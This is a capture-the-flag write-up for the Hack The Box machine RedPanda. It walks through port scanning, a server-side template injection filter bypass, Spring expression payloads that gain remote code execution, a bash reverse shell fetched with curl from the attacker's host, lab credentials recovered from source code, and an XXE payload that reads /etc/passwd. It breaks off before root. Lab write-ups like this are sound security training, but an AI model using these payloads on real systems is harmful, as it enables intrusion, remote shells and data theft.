Reconnaissance
First, I added the new host to my known ones:
sudo echo "10.10.11.170 redpanda.htb" | sudo tee -a /etc/hosts
Then, I performed a Nmap scan:
ports=$(nmap -p- --min-rate=1000 -T4 redpanda.htb | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV redpanda.htb > sC.txt
[redacted]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Red Panda Search | Made with Spring Boot
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The Nmap scan outputs that the website is using Spring Boot and Tomcat. So I checked port 8080:
There is a search functionality called /search
, which shows a range of pandas?. This functionality makes a POST
request:
Inspecting the source code again I found out a hidden endpoint called /stats
with the parameter ?author
:
For example, Iโll inspect http://redpanda.htb:8080/stats?author=woodenk
:
There is also another functionality to export an XML inside /export.xml
:
Foothold
Iโll test for SSTI inside the /search
functionality:
Doing the basic payload ${7*7}
gives me an error message of โbanned charactersโ, so Iโll try to bypass that message:
- It works with the payload
*{7*7}
Weaponization
The website is using Srping Boot, so it may be using Spring Framework. I found this note in HackTricks about it.
Exploitation
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Got RCE :D
So now Iโll try to get a reverse shell:
- First Iโll create a script that contains the shell:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.22/666 0>&1
- Now Iโll host a python server:
python3 -m http.server 8090
- Then Iโll apply the following payload to the petition:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.22:8090/shell.sh -o /tmp/gitblanc.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/gitblanc.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('/bin/bash /tmp/gitblanc.sh').getInputStream())}
Got a reverse shell :D
User flag
Privilege Escalation
Inspecting the machine I found the file .m2/wrapper/dists/apache-maven-3.8.3-bin/5a6n1u8or3307vo2u2jgmkhm0t/apache-maven-3.8.3/conf/settings.xml
which mentions Java JDK 1.4.2_07
:
Inside of /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
I found user woodenk
โs credentials:
Credentials found:
woodenk:RedPandazRule
We can now connect via SSH to the machine.
As I didnโt find anything interesting, I decided to upload pspy to the machine and inspect for hidden sub-processes. There is a weird sub-process run by root:
2025/06/04 18:04:01 CMD: UID=0 PID=99652 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
As it is a custom script, Iโll try to inspect its source code:
cat /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
[redacted]
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
The code creates a log called redpanda.log
. Then creates a variable artist by calling the function getArtist()
. This function reads the metadata inside an image and then searches inside the directories contained in it. Then the code creates a new xml file and itโs passed to the function addViewTo()
. Then the function addViewTo()
ย parses the XML, increments the view count for that image, and then writes the file back.
Exploitaiton x2
We can try to exploit an XXE File Read vulnerability by inputting the correct metadata inside and image being read by the code.
- NOTE: Iโll append the schema made by 0xdf because I liked it after finishing the machine:
First, I downloaded an xml generated by the app and then I modified it with the XXE payoad:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<credits>
<author>woodenk</author>
<image>
<uri>/img/greg.jpg</uri>
<views>0</views>
<test>&xxe;</test>
</image>
<image>
<uri>/img/hungy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/smooch.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/smiley.jpg</uri>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
Didnโt like the machine at all :/, so I wonโt continue the writeup.
Machine pwned!